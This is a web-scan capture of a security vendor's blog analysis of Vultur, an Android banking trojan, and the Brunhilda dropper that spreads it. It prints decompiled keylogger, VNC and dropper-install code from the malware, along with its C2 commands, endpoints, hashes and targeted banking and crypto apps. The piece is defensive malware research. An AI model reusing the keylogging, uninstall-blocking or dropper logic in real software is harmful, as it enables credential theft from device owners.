www.threatfabric.com
Open in
urlscan Pro
199.60.103.2
Public Scan
Submitted URL: https://www.threatfabric.com/blogs/vultur-v-for-vnc.html
Effective URL: https://www.threatfabric.com/blogs/vultur-v-for-vnc
Submission: On April 13 via api from LU — Scanned from DE
Effective URL: https://www.threatfabric.com/blogs/vultur-v-for-vnc
Submission: On April 13 via api from LU — Scanned from DE
Form analysis
1 forms found in the DOM/hs-search-results
<form data-hs-do-not-collect="true" action="/hs-search-results">
<input type="text" class="hs-search-field__input" name="term" autocomplete="off" aria-label="Search" placeholder="Search">
<input type="hidden" name="type" value="SITE_PAGE">
<input type="hidden" name="type" value="BLOG_POST">
<input type="hidden" name="type" value="LISTING_PAGE">
</form>
Text Content
This website stores cookies on your computer. These cookies are used to collect information about how you interact with our website and allow us to remember you. We use this information in order to improve and customize your browsing experience and for analytics and metrics about our visitors both on this website and other media. To find out more about the cookies we use, see our Privacy Policy If you decline, your information won’t be tracked when you visit this website. A single cookie will be used in your browser to remember your preference not to be tracked. Cookies settings AcceptDecline Skip to content * OUR SOLUTION * PARTNERS * RESOURCES * IN THE NEWS * ARTICLES * Contact * Linkedin * Twitter * Jobs * Privacy * Intel/PGP Contact Research VULTUR, WITH A V FOR VNC 22 July 2021 JUMP TO 1. Introduction 1. Context 2. Here comes Vultur 3. Capabilities & Commands 1. Modus Operandi 2. Accessibility Services 3. Screen Recording 4. Communication 1. C2 Methods 2. FCM Commands 3. C2 paths 5. Targets 6. Brunhilda 1. Dropper Functionality 7. Comparisons and Connections 1. Old vs new Brunhilda 2. Brunhilda vs Vultur 8. Conclusion 9. CSD & MTI 10. Appendix 1. Brunhilda Dropper 2. Vultur 3. Screen recording targets 4. Keylogging targets INTRODUCTION In late March 2021, ThreatFabric detected a new RAT malware that we dubbed Vultur due to its full visibility on victims device via VNC. For the first time we are seeing an Android banking trojan that has screen recording and keylogging as main strategy to harvest login credentials in an automated and scalable way. The actors chose to steer away from the common HTML overlay strategy we usually see in other Android banking Trojans: this approach usually requires more time and effort from the actors in order to steal relevant information from the user. Instead, they chose to simply record what is shown on the screen, effectively obtaining the same end result. Based on the intelligence gathered, ThreatFabric was able to obtain the list of apps targeted by Vultur. Italy, Australia and Spain were the countries with most banking institutions targeted. In addition, many crypto-wallets are targeted, which is in line with the trend we observed in our previous blog “The Rage of Android Banking Trojans”. During the investigation ThreatFabric analysts discovered its connection with a well-known dropper framework called Brunhilda, which uses droppers located in Google Play to distribute malware (MITRE T1475). In this blogpost ThreatFabric will prove that this dropper and Vultur are both developed by the same threat actor group. The choice of developing its own private trojan, instead of renting third-party malware, displays a strong motivation from this group, paired with the overall high level of structure and organization present in the bot as well as the server code. -------------------------------------------------------------------------------- NOTE : ThreatFabric wants to make clear that both AlphaVNC and ngrok (the third party softwares on which Vultur relies on to operate) are legitimate and legal products. The developers that created these projects have no control over the misuse of their software. -------------------------------------------------------------------------------- CONTEXT In September 2020, Bitdefender published a Bitdefender report about malware droppers found on Google Play. The report states that these droppers were used to distribute Cerberus banking malware. However, we believe that it was in fact Alien banking malware, the successor of Cerberus, first reported by ThreatFabric in September 2020. The droppers on Google Play posed as some utility applications like fitness apps and 2FA authenticators. However, in addition to performing their advertised functionality, they installed banking malware on the victim’s device. Later, in December 2020, PRODAFT revealed more details about the dropper and called it Brunhilda, which at the time of their analysis was also distributing Alien banking malware. It was still masquerading as fitness and authentication applications on Google Play. In March 2021, ThreatFabric’s CSD detected previously unknown malware with RAT capabilities that we named Vultur. While investigating the new threat, ThreatFabric analysts were able to connect it with the Brunhilda dropper. In this blog we will cover Vultur and discuss the Brunhilda dropper to show they are connected and operated by a private group using their own dropper to distribute different malware. HERE COMES VULTUR The vulture is a large bird of prey that specializes in attacking and feeding on weak and helpless animals. These predators keep their eyes on their preys for a long time before making a move, which happens only when they are sure the attack is lethal and successful. Vultur, a new Android banking Trojan discovered by ThreatFabric in March 2021, operates in a very similar way. Just like these big birds, this trojan observes everything that is happening on the devices using a screen recording feature based on VNC to obtain all the PII (Personal Identifiable Information) needed to perform fraud, such as banking account username, password and access tokens. The ThreatFabric team was able to find at least 2 dropper applications connected to Vultur, one of them having 5000+ installations from Google Play. Thus, we estimate the number of potential victims to be in the thousands. CAPABILITIES & COMMANDS MODUS OPERANDI Vultur approaches banking fraud with a Modus Operandi that is in some way different from what we usually see from Android banking trojans. The usual banking trojan MO heavily relies on abusing the overlay mechanic to trick victims into revealing their passwords and other important private information. In an overlay attack, users type their credentials in what they think is a legitimate banking app, effectively giving them to a page controlled by the attacker. Vultur, on the other hand, uses a less technically flexible yet very effective technique: screen recording. ACCESSIBILITY SERVICES Like the large majority of banking trojans, Vultur heavily relies on Accessibility Services. When it is first started the malware hides its app icon and right after abuses the services to obtain all the necessary permissions to operate properly. It is worth noting that the application requests for Accessibility Service access showing a WebView overlay borrowed from other malware families. In fact, the first time we saw this WebView was with Alien banking malware. Whenever any new event triggers the Accessibility Event service, the bot checks if it is coming from an application that is part of the list of keylogging targets. If so, then it uses the Accessibility Services to log everything typed by the user. public static void keylog(AccessibilityEvent event) { String data; if (!keyLoggerManager.KeyloggerActive) { return; } String v1 = event.getPackageName() == null ? "Unknown" : event.getPackageName().toString(); if (AcService.keyloggerManager.isPkgKeylogged(v1)) { return; } try { new SimpleDateFormat("MM/dd/yyyy, HH:mm:ss z", Locale.US).format(Calendar.getInstance().getTime()); if (!v1.equals(keyLoggerManager.packageName)) { if (keyLoggerManager.dataToBeSent.length() != 0) { keyLoggerManager.formattedData = keyLoggerManager.formattedData + keyLoggerManager.packageName + " | " + keyLoggerManager.dataToBeSent + "\\n"; } keyLoggerManager.packageName = v1; keyLoggerManager.dataToBeSent = ""; } int v12 = event.getEventType(); if (v12 == 1) { data = event.getText().toString(); } else { if (v12 != 16) { return; } data = event.getText().toString(); } if (keyLoggerManager.replaceNumbersFlag) { data = data.replaceAll("[^0-9]", ""); } if (data.length() != 0) { keyLoggerManager.dataToBeSent = keyLoggerManager.dataToBeSent + data; return; } } catch (Exception v0) { return; } } In addition to keylogging the services are used to stop the user from deleting the application from the device using the traditional procedures, like going into the settings and manually uninstalling the application. Whenever the user reaches the app details screen, the bot automatically clicks the back button, sending the user to the main settings screen, effectively not allowing access to the uninstall button. SCREEN RECORDING After hiding its icon, Vultur proceeds to start its service responsible for managing the main functionality of the trojan, which is screen recording using VNC (Virtual Network Computing). VNC is a specific software implementation, but it is not uncommon for malicious actors to use the term ‘VNC’ to refer to anything falling under the umbrella of Screen Sharing with remote access (may that be done using a third-party software like VNC or TeamViewer, or through Android internal features, used by for example the Oscorp malware). In the case of Vultur it actually refers to a real VNC implementation taken from AlphaVNC. To provide remote access to the VNC server running on the device, Vultur uses ngrok. ngrok is capable of exposing local servers behind NATs and firewalls to the public internet over secure tunnels. It is obligatory to point out that AlphaVNC and ngrok are legitimate and legal products; however, like many other Android banking trojans, Vultur’s creators had no remorse in abusing them to steal PII from its victims. The main VNC-like features are implemented in native code. All the functionalities, like for example the function nstart_vnc() in the code below, are included in the libavnc.so library, which is interfaced to the application using a wrapper class. public static void startVnc(FileDescriptor fileDescriptor, VncSessionConfig config, o arg12, int arg13, int arg14, int arg15) { C2Commands.log("VNC: START VNC SERVICE"); LvWrapper._instance.config = config; LvWrapper._instance.hThread = new HandlerThread("nUt"); LvWrapper._instance.hThread.start(); LvWrapper._instance.rThread = new HandlerThread("rCt"); LvWrapper._instance.rThread.start(); LvWrapper._instance.startThread = new Thread(new Runnable() { @Override public void run() { String v5 = config.getPw(); int v6 = config.getVncPort(); C2Commands.log("VNC: EXIT CODE = " + LvWrapper._instance.nstart_vnc(fileDescriptor, arg13, arg14, arg15, v5, v6)); ((a.a.a.ScreenCapture.a) arg12).a(); } }); LvWrapper._instance.startThread.start(); } The biggest threat that Vultur offers is its screen recording capability. The trojan uses Accessibility Services to understand what application is in the foreground. If the application is part of the list of targets, it will initiate a screen recording session. If the user pays attention to the notification panel, he would also be able to see that Vultur, in this case masquerading as an app called “Protection Guard”, is projecting the screen. COMMUNICATION C2 METHODS Below is a complete list of the methods supported by the bot. These are the commands that the bot can send to the C2 to request, or to send back, information: Method Description vnc.register Sends registration information vnc.status Sends device status (is DeviceAdmin, is AccessibilityService enabled, is display on) and VNC address vnc.apps Sends the list of installed packages vnc.keylog Sends pressed keys log vnc.syslog Sends logs crash.logs Sends crash logs (logs all the content on the screen via accessibility logging) FCM COMMANDS Below is a complete list of the commands that the bot can receive via FirebaseCloudMessaging: Method Description registered Received after successful registration start Starts VNC connection using ngrok stop Stops VNC connection by deleting address, killing the ngrok process and stopping VNC service unlock Unlocks screen delete Uninstalls bot package pattern Provides a pattern of gesture/stroke to be executed on the device C2 PATHS These are the endpoints reachable on the C2: Path Description /rpc/ Endpoint for C2 communication via JSON-RPC /upload/ Endpoint for uploading files via POST (e.g. screen record) /version/app/?filename=ngrok&arch={arm|386} Endpoint for downloading the corresponding ngrok version TARGETS Vultur contains two sets of targets: screen recording and keylogging. The first list reported in the appendix includes all the applications that will be victim of screen recording using AlphaVNC, while the second list includes all the applications targeted by the keylogging feature. The following chart shows the number of targeted banking applications per country (applications of cryptocurrency wallets and social applications are shown separately): BRUNHILDA Based on the intelligence gathered through our MTI (Mobile Threat Intelligence) Portal and live detections identified via our CSD (Client Side Detection) solution, ThreatFabric was able to link this Vultur campaign with Brunhilda. Brunhilda is a privately operated dropper that has been previously observed dropping Alien.A. The sample analyzed in this section was found on the Google Play Store, but it has been removed at the time of writing. This particular sample has 5.000+ installs, while the overall number victims of Brunhilda group is estimated to be over 30.000 based on the Google Play and unofficial application store statistics (some of the droppers have 10.000+ installations). This dropper is using the same icon, package name and C2 as a Vultur sample. In addition, ThreatFabric discovered that the “Brunhilda Project” C2 is extended with new capabilities to operate Vultur specific bot commands. DROPPER FUNCTIONALITY The dropper apps contain their advertised functionality, meaning the users can use the app as they expect. In the background however it registers the device to its C2 server, and if the necessary pre-requisites are met, the dropper can download an APK file and install it as an update to the current application. This is in line with the fact that ThreatFabric identified Vultur campaigns using the same icon and package name as the dropper. Underneath is the section of code that updates the package with the new APK. public final void Install() { ((PowerManager) this.getSystemService("power")).newWakeLock(1, "wl:2").acquire(); this.f(100); b v0 = new b(this); v0.a(); while (SPUtils.getState() < 8) { if (SPUtils.getState() < 6) { try { Thread.sleep(500 L); } catch (InterruptedException v1) { v1.printStackTrace(); } continue; } f0.installPackage(); try { Thread.sleep(500 L); } catch (InterruptedException v1_1) { v1_1.printStackTrace(); } new Thread(h.b).start(); } this.stopAll(); v0.unregisterReceiver(); } Upon the launch of the application, a registration request is sent to the C2 server using the gRPC framework. The request contains basic information about the device and dropper application that can be used to selectively target specific victims: package name of the dropper, Android version, device model, and OS language. As a response it receives an appToken as a registration ID. This appToken is later used in the following requests to identify the device. Shortly after registration, the dropper requests for additional configuration and saves in under the mcfg and info:pld fields in SharedPreferences. info:pld contains the information about the application to be downloaded and installed: package name, size, chunks and XOR key used to decrypt downloaded data. Once the application data has been downloaded and decrypted the installation procedure will be started. COMPARISONS AND CONNECTIONS OLD VS NEW BRUNHILDA When we compare this dropper to one of the previously used samples we see strong similarities between them. Older versions use JSON-RPC instead of gRPC, but the flow and data sent is almost identical: In addition we identified code reuse in other places, such as in the code that processes the information on the application to download, which contained some parameters that were present in both samples but not used in the newer one. BRUNHILDA VS VULTUR Other evidence of the connection between Brunhilda and Vultur is that we saw Vultur using the same C2 as the Brunhilda has used in the past. Moreover, Vultur also uses JSON-RPC to communicate with its C2 just like old versions of the dropper: CONCLUSION The story of Vultur shows again how actors shift from using rented Trojans (MaaS) that are sold on underground markets towards proprietary/private malware tailored to the needs of the actor. It enables us to observe a group that covers both processes of distribution and operation of malicious software. Banking threats on the mobile platform are no longer only based on well-known overlay attacks, but are evolving into RAT-like malware, inheriting useful tricks like detecting foreground applications to start screen recording. This brings the threat to another level, as such features open the door for on-device fraud, circumventing detection based on phishing MO’s that require fraud to be performed from a new device: With Vultur fraud can happen on the infected device of the victim. These attacks are scalable and automated since the actions to perform fraud can be scripted on the malware backend and sent in the form of sequenced commands. As the mobile channels of financial institutions continue to grow, mobile banking malware will only become more popular. Besides a steep increase in mobile malware volumes targeting banking apps last and this year, we see mobile malware becoming more and more sophisticated enabling hard-to-detect large scale attacks. This means that financial institutions should consider preparing themselves by better understanding the risk posed to their mobile-first strategy based on the current mobile threat landscape. CSD & MTI ThreatFabric makes it easier than it has ever been to run a secure mobile payments business. With the most advanced threat intelligence for mobile banking, financial institutions are able to build a threat-driven mobile security strategy and use this unique knowledge to detect financial fraud on the mobile devices of their customers in real-time. Together with our customers and partners, we are building an easy-to-access information system where financial institutions have more visibility on their mobile banking threats in order to protect their end customers. You can request our free trial for our MTI feed for the following TIPs: * Anomali * ThreatConnect * ThreatQuotient If you want more information on how our MTI and CSD solutions can help your organization, feel free to contact us at: sales@threatfabric.com APPENDIX BRUNHILDA DROPPER App name Package name SHA-256 Protection Guard com.protectionguard.app d3dc4e22611ed20d700b6dd292ffddbc595c42453f18879f2ae4693a4d4d925a VULTUR App name Package name SHA-256 Protection Guard com.appsmastersafey f4d7e9ec4eda034c29b8d73d479084658858f56e67909c2ffedf9223d7ca9bd2 Authenticator 2FA com.datasafeaccountsanddata.club 7ca6989ccfb0ad0571aef7b263125410a5037976f41e17ee7c022097f827bd74 SCREEN RECORDING TARGETS Package Name Application Label com.commbank.netbank CommBank au.com.nab.mobile NAB Mobile Banking org.westpac.bank Westpac Mobile Banking au.com.macquarie.banking Macquarie Mobile Banking com.bendigobank.mobile Bendigo Bank au.com.suncorp.SuncorpBank Suncorp Bank au.com.ingdirect.android ING Australia Banking com.anz.android.gomoney ANZ Australia com.abnamro.nl.mobile.payment ABN AMRO Wallet App com.ing.mobile ING Bankieren it.ingdirect.app ING Italia posteitaliane.posteapp.appposteid PosteID posteitaliane.posteapp.apppostepay Postepay com.bankofqueensland.boq BOQ Mobile au.com.amp.myportfolio.android My AMP au.com.bankwest.mobile Bankwest au.com.mebank.banking ME Bank com.fusion.banking Bank Australia app org.bom.bank Bank of Melbourne Mobile Banking org.stgeorge.bank St.George Mobile Banking au.com.cua.mb CUA Mobile Banking au.com.hsbc.hsbcaustralia HSBC Australia com.virginmoney.cards Virgin Money Credit Card org.banksa.bank BankSA Mobile Banking cedacri.mobile.bank.crbolzano isi-mobile Cassa di Risparmio com.latuabancaperandroid.pg Intesa Sanpaolo Business cedacri.mobile.bank.esperia Mediobanca Private Banking com.ria.moneytransfer Ria Money Transfer – Send Money Online Anywhere it.bnl.apps.banking.privatebnl My Private Banking it.bcc.iccrea.mycartabcc myCartaBCC it.cedacri.hb3.desio.brianza D-Mobile it.cedacri.hb2.bpbari Mi@ it.relaxbanking RelaxBanking Mobile com.sella.BancaSella Banca Sella it.caitalia.apphub Crédit Agricole Italia com.unicredit Mobile Banking UniCredit com.latuabancaperandroid Intesa Sanpaolo Mobile posteitaliane.posteapp.appbpol BancoPosta it.copergmps.rt.pf.android.sp.bmps Banca MPS com.lynxspa.bancopopolare YouApp it.nogood.container UBI Banca it.gruppobper.ams.android.bper Smart Mobile Banking it.gruppobper.smartbpercard Smart BPER Card it.bper.mobile.mymoney Smart Mobile My Money com.vipera.chebanca CheBanca! com.CredemMobile Credem com.opentecheng.android.webank Webank com.mediolanum.android.fullbanca Mediolanum it.popso.SCRIGNOapp SCRIGNOapp it.icbpi.mobile Nexi Pay com.scrignosa SCRIGNOIdentiTel com.VBSmartPhoneApp BankUp Mobile it.carige Carige Mobile it.creval.bancaperta Bancaperta it.bnl.apps.banking BNL it.volksbank.android Volksbank · Banca Popolare es.bancosantander.apps Santander net.inverline.bancosabadell.officelocator.android Banco Sabadell App. Your mobile bank es.liberbank.cajasturapp Banca Digital Liberbank es.lacaixa.mobile.android.newwapicon CaixaBank com.bankinter.launcher Bankinter Móvil com.bbva.bbvacontigo BBVA Spain es.cecabank.ealia2103appstore UniPay Unicaja com.db.pbc.mibanco Mi Banco db com.grupocajamar.wefferent Grupo Cajamar es.univia.unicajamovil UnicajaMovil es.bancosantander.empresas Santander Empresas com.rsi ruralvía app.wizink.es WiZink, tu banco senZillo es.cm.android Bankia com.imaginbank.apps Imagin. Much more than an app to manage your money es.ibercaja.ibercajaapp Ibercaja com.bendigobank.mobile Bendigo Bank com.mfoundry.mb.android.mb Multiple minor US financial institution com.popular.android.mibanco Mi Banco Mobile com.grupocajamar.wefferent Grupo Cajamar es.unicajabanco.app Unicaja Banco es.univia.unicajamovil UnicajaMovil com.binance.dev Binance - Buy & Sell Bitcoin Securely com.coinbase.android Coinbase – Buy & Sell Bitcoin. Crypto Wallet com.coinbase.pro Coinbase Pro – Bitcoin & Crypto Trading com.coinbase.wallite Coinbase Wallet Lite org.toshi Coinbase Wallet — Crypto Wallet & DApp Browser com.defi.wallet Crypto.com l DeFi Wallet co.mona.android Crypto.com - Buy Bitcoin Now piuk.blockchain.android Blockchain Wallet. Bitcoin, Bitcoin Cash, Ethereum com.wallet.crypto.trustapp Trust: Crypto & Bitcoin Wallet exodusmovement.exodus Exodus: Crypto Bitcoin Wallet io.atomicwallet Bitcoin Wallet & Ethereum Ripple ZIL DOT com.coinomi.wallet Coinomi Wallet :: Bitcoin Ethereum Altcoins Tokens com.krakenfutures Kraken Futures: Bitcoin & Crypto Futures Trading com.kraken.trade Pro: Advanced Bitcoin & Crypto Trading com.kraken.invest.app Kraken - Buy Bitcoin & Crypto io.cex.app.prod CEX.IO Cryptocurrency Exchange net.bitstamp.app Bitstamp – Buy & Sell Bitcoin at Crypto Exchange com.etoro.wallet eToro Money com.kubi.kucoin KuCoin: Bitcoin Exchange & Crypto Wallet com.bittrex.trade Bittrex Global com.bitfinex.mobileapp Bitfinex com.plunien.poloniex Poloniex Crypto Exchange com.hittechsexpertlimited.hitbtc HitBTC – Bitcoin Trading and Crypto Exchange com.paxful.wallet Paxful Bitcoin Wallet com.cryptonator.android Cryptonator cryptocurrency wallet KEYLOGGING TARGETS Package Name Application Label com.whatsapp WhatsApp Messenger com.viber.voip Viber Messenger - Messages, Group Chats & Calls com.zhiliaoapp.musically TikTok - Make Your Day com.facebook.katana Facebook com.facebook.orca Messenger – Text and Video Chat for Free com.facebook.lite Facebook Lite DEMO OR TRIAL? CONTACT US * JOBS * PRIVACY * INTEL/PGP * VULNERABILITY DISCLOSURE